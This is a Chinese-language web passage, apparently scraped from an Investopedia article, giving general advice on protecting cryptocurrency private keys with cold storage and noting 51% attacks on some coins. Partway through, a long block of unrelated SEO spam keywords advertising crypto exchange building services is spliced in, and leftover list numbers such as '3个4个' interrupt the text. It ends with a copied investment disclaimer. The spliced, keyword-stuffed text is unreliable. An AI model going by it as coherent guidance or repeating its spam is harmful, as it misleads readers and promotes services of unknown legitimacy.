安全、不可降解、持久的密钥存储方法。但是,考虑到许多人成为黑客和诈骗者的受害者并从他们的银行账户中损失钱,因为个人信息被用来访问他们。保护私钥与保护您的个人身份信息没有什么不同。最安全的钱包是非托管冷钱包。这些范围可以从一张写有密钥的纸到使用密码和额外加密的设备。纸钱包只能作为临时措施使用,因为它们很容易损坏。您会发现许多产品为您的比特币或其他加密货币提供安全性和便利性,但确保您的加密货币免受黑客和小偷侵害的最佳方法是记住一些简单的规则:不要将您的密钥存储在您的移动设备或任何其他连接到互联网的设备上的钱包中。您的私钥应始终保存在冷库中。除非您对风险感到满意,否则不要让其他人为您存储您的密钥。如果您想使用您的加密货币,只需将您需要的密钥转移到您的热钱包,进行交易,然后立即将它们从热钱包中移除。在没有有线或无线连接的情况下,将您的冷藏方法保存在安全、湿度受控的环境中。定期检查您的设备以确保它们不会降级。如果是,请将您的密钥转移到新的存储设备。切勿与其他任何人共享您的私钥。哪种加密货币遭到黑客攻击?加密货币本身抵制了黑客攻击。然而,针对比特币中本聪愿景 (BSV)、比特币黄金 (BTG) 和以太坊经典 (ETC) 等加密货币,已经发生了多次 51% 攻击。3个4个虚拟币交易所搭建虚拟货币交易所搭建数字资产交易所搭建数字货币交易所搭建区块链交易所搭建搭建交易所西安交易所搭建雷达交易所搭建怎么搭建村民交易所武汉合约交易所搭建全球交易所平台搭建区块链搭建交易所原生合约交易所搭建教程数字货币合约交易所搭建搭建数字货币交易所杭州原生合约交易所怎么搭建福州ai智能交易所搭建怎样搭建区块链交易所币币交易所搭建图片有人可以窃取我的加密货币吗?如果不采取适当措施来保护和控制您的私钥,您的加密货币可能会被盗。黑客可以窃取加密货币吗?黑客可以窃取和窃取加密货币。最喜欢的目标是交易所、钱包和去中心化金融应用程序,因为这些都是弱点。5个投资加密货币和其他首次代币发行(“ICO”)具有高风险和投机性,本文并非 Investopedia 或作者推荐投资加密货币或其他 ICO。由于每个人的情况都是独一无二的,因此在做出任何财务决定之前,应始终咨询合格的专业人士。Investopedia 对此处包含的信息的准确性或及时性不作任何陈述或保证。赞助